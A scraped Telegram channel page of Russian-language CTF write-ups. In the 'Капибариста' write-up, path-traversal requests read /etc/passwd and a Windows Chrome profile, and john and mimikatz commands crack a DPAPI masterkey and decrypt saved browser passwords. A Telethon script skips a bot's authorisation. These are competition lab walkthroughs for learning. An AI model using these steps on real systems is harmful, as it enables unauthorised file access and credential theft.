Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
image.png
171.6 KB
#misc
ШредерAPP 2

Я сделал выводы из своего прошлого опыта и купил новый шредер, но, как выяснилось, он тоже уязвим к восстановлению данных. В результате злоумышленник сумел восстановить картинку и узнать мой пароль от...

Формат флага: KFCctf{}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
🌭7👍3
#misc
Нестандартный QR-code

Вчера моему другу пришел QR-код, в сообщении упоминалась антискан вотермарка и что-то еще.

Формат флага: KFCctf{}.

Хинт: He1Lo=hE1lO

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
3👍1😁1👌1🗿1
#misc #osint #stegano
First blood

В сети появился таинственный злодей, который всегда и везде оказывается первым. Он начал с участия в CTF, но теперь его амбиции зашли слишком далеко: он разрабатывает некое устройство и строит зловещие планы по захвату мира.

Я уже давно занимаюсь расследованием этого дела, но безуспешно — он всегда на шаг впереди.

Последнее, что мне удалось обнаружить:
seturo.duj
cucruhi
j4hcydqjehnnb
281550

Формат флага: CTF{}, флаг состоит из трех частей.

Автор: @denis_bardak

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
👍4👌1
task.zip
20.3 KB
#misc
Шифрование для перфокарты

Вчера мне попалась на глаза схема шифрования перфоленты и теперь мне не терпится разобраться, как она функционирует. Не мог бы ты мне в этом помочь?

Формат флага: KFCctf{...}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍3
Строка.zip
64.5 KB
#misc #network #coding #tctf2025
Капибегущая строка

Для начала надо экспортировать данные из wireshark в csv файл. Кода у меня нет, можно сделать чрез файл-Export Packet Dissections но там будут лишние строки и у меня код перестал работать. Потом надо написать код преобразующий полученные данные в матрицу, чтобы потом анимировать бегущую строку. Краткое пояснение логики "преобразования матрицы" (функция create_address_mapping)

Под "преобразованием матрицы" здесь понимается процесс отображения одномерного набора адресов устройств (например, 0x0100, 0x0101, ..., 0x0140) на двумерную сетку (матрицу) координат (строка, столбец) для визуализации.

Логика этого преобразования следующая:

Получение и фильтрация адресов: Функция получает на вход множество (set) всех уникальных адресов назначения, найденных в CSV-файле. Сначала отбираются только корректные шестнадцатеричные адреса (начинающиеся с 0x).

Числовое представление и сортировка: Отобранные адреса (которые являются строками) преобразуются в целые числа. Это критически важно для правильной сортировки. Если сортировать строки, то "0x10a" может оказаться раньше "0x109". После преобразования в числа адреса сортируются по возрастанию. Теперь у нас есть упорядоченный список адресов от самого младшего к самому старшему.

Итерация и вычисление координат: Скрипт проходит по этому отсортированному списку адресов. Для каждого адреса известен его порядковый номер (индекс) в этом списке (начиная с 0). Этот индекс используется для вычисления координат на сетке:

Номер строки (row) вычисляется как результат целочисленного деления (//) индекса на количество столбцов в сетке (GRID_COLS). Это показывает, сколько полных строк уже "заполнено" адресами перед текущим.

Номер столбца (col) вычисляется как остаток от деления (%) индекса на количество столбцов в сетке (GRID_COLS). Это показывает позицию адреса внутри его строки.

Предположение о порядке: Этот метод расчета координат предполагает так называемый "row-major order" (построчный порядок). Это значит, что сетка заполняется адресами слева направо, сверху вниз, сначала полностью заполняется первая строка, потом вторая и так далее.

Проверка границ: Скрипт проверяет, не превышает ли вычисленный номер строки (row) максимально допустимый (GRID_ROWS - 1). Если превышает, выводится предупреждение, так как адресов оказалось больше, чем ячеек в заданной сетке.

Создание карты: Результатом является словарь (mapping), где каждому исходному шестнадцатеричному адресу (строке) сопоставляется кортеж с его вычисленными координатами (строка, столбец). Эта карта затем используется функцией create_animation для отрисовки пикселя каждого устройства в нужном месте кадра.

Пример:
Допустим, GRID_COLS = 13.

Адрес с index = 0 -> row = 0 // 13 = 0, col = 0 % 13 = 0 -> Координаты (0, 0)

Адрес с index = 12 -> row = 12 // 13 = 0, col = 12 % 13 = 12 -> Координаты (0, 12)

Адрес с index = 13 -> row = 13 // 13 = 1, col = 13 % 13 = 0 -> Координаты (1, 0) (переход на следующую строку)

Адрес с index = 26 -> row = 26 // 13 = 2, col = 26 % 13 = 0 -> Координаты (2, 0)

Таким образом, упорядоченный список адресов "разворачивается" в двумерную сетку заданного размера

Автор: @K1rlII

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍511
#misc #telegram #tctf2025
Капиблогер (обе версии)

В боте, который выдается, не нажимать кнопку /start, а изменить тему чата, тогда создастся чат, но не пропишется /start и не выдастся роль.

Автор: @iamgosten

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯111👍1🔥1🤨1
#misc #telegram #tctf2025
Капиблогер (обе версии)

Надо отправить боту сообщение "Конкурсы" без начального "/start" - тогда пользователь не будет авторизован и будет возвращаться везде 0 - то есть мы станем организатором.

Пример кода:
from telethon import TelegramClient
import asyncio

async def main():
    # Create application https://my.telegram.org/apps
    api_id = ...
    api_hash = '...'
    session_name = "wtf"
    client = TelegramClient(session_name, api_id, api_hash)
    await client.start()

    msg = await client.send_message('@capyblogger_XXXXXX_bot', 'Конкурсы')
    print(f'Отправлено сообщение {msg.id} в чат {msg.chat_id}')

    await client.run_until_disconnected()

asyncio.run(main())


Автор: @tonysdx

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥31👍1
#misc #forensics
Капибариста

1) Идем на сайт и видим форму с логином. Креды нам не даны, поэтому тыкаем по единственной доступной кнопке - политике о персональных данных. Попадаем на URL:
https://t-barista-adminfilestorage-XXXXXX.spbctf.org/?path=/policy.pdf&action=download
2) Пробуем поменять путь и убрать тег action:
GET /?path=/../../../../../../../../../../../etc/passwd HTTP/2

В ответ получаем:
<html lang=en>
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Попытка взлома</p>

Ага... А если убрать тег action?
GET /?path=/ HTTP/2

Попадаем в файловый менеджер в вебе!
Однако ничего интересного в текущей папке не находим. Пробуем выбраться при помощи следующего пейлоада:
GET /?path=/./../ HTTP/2

Вылетаем в корневую директорию, кайф
Можем считать /etc/passwd:
GET /?path=/./../etc/passwd HTTP/2

Ответ:
<textarea cols="80" rows="25">root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</textarea>

Пропустим момент с бесконечными поисками интересных файлов и перейдем к сути: в /mnt примонтирован виндовый диск C:
3) Находим интересные приложения на диске C:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome HTTP/2

По этому пути узнаем, что в системе стоит Chrome. А значит, там может быть сохранена кука для авторизации на сайте!
Забираем SQLite базу данных со всеми кредами хрома:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Default/Login+Data HTTP/2

База данных на ОС Windows зашифрована так называемым masterkey, который мы можем достать по пути
GET /?path=/./../mnt/C/Users/capybarman/AppData/Roaming/Microsoft/Protect//S-1-5-21-1023654651-2831612651-3133783694-1000/c637715b-e447-4cd5-9a72-445ef3861446 HTTP/2

Однако не все так просто - masterkey в свою очередь зашифрован паролем пользователя. Поэтому используем утилиту DPAPImk2john и сбрутим хеш:
python3 DPAPImk2john.py --sid="S-1-5-21-1023654651-2831612651-3133783694-1000" --masterkey="c637715b-e447-4cd5-9a72-445ef3861446" context="local" > hash.txt

Ну и запустим john со словарем rockyou.txt на полученный хеш. Получим пароль Capybara1792
4) Для расшифровки masterkey запустим утилиту mimikatz и выполним:
dpapi::masterkey /in:"c637715b-e447-4cd5-9a72-445ef3861446" /sid:"S-1-5-21-1023654651-2831612651-3133783694-1000" /password:"Capybara1792" /protected

В самом низу будет наш masterkey.
5) Расшифруем ключ при помощи полученного masterkey, также используя mimikatz. Для начала вытащим сам зашифрованный ключ:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Local+State HTTP/2

Он будет находиться по ключу os_crypt.enrypted_key в JSON файле по пути выше. Также перед записью в файл его надо декодировать из base64 и убрать первые 5 символов из раскодированного значения - DPAPI. Сохраним результат в файл dec_data
Запускаем mimikatz и вводим:
dpapi::blob /masterkey:MASTERKEY_FROM_4_STEP /in:"dec_data" /out:"aes.dec"

6) Теперь надо вынуть password из вытащенной на 3 этапе базы данных
SELECT origin_url, username_value, password_value FROM logins

И расшифровать при помощи полученного AES-ключа (можно использовать этот скрипт, например)
7) Получаем пароль OmgSoAdminPasswordVerySecure2025 с логином admin,  авторизуемся на сайте, отключаем опцию "только соевое молоко", наслаждаемся анимацией и получаем флаг!

Автор: @ll0ydik
👍10🤯21
yourock.tar.gz
18.2 KB
#misc
corCTF 2025 – “you rock” от @dontunique

Нам дан бинарь и описание:

Forget Enigma, forget Caesar. The only cipher you need is 2009's infamous password dump.


Правильный ключ восстанавливается, если взять оригинальный список RockYou из 2009 года, сопоставить каждое слово из encoded.rj с его индексом в этом списке (0‑based) и затем восстановить исходный
текст с помощью бинаря encode.

Поскольку первые два числа в выходе encode закодированы случайно, для первой буквы применяется XOR d0 ^ d1, а для каждой следующей буквы подбирается символ такой, что при его подстановке в текущее сообщение вызов encode выдаёт соответствующий d — это и даёт исходные символы.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
91
Подборка райтапов с прошедшего AlfaCTF:

Задания кстати все еще доступны
https://alfactf.ru/tasks

🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web

🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT

🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web

🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web

🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS

👨‍💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest

🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic

🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client

📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic

🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE

🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python

🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network

🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1433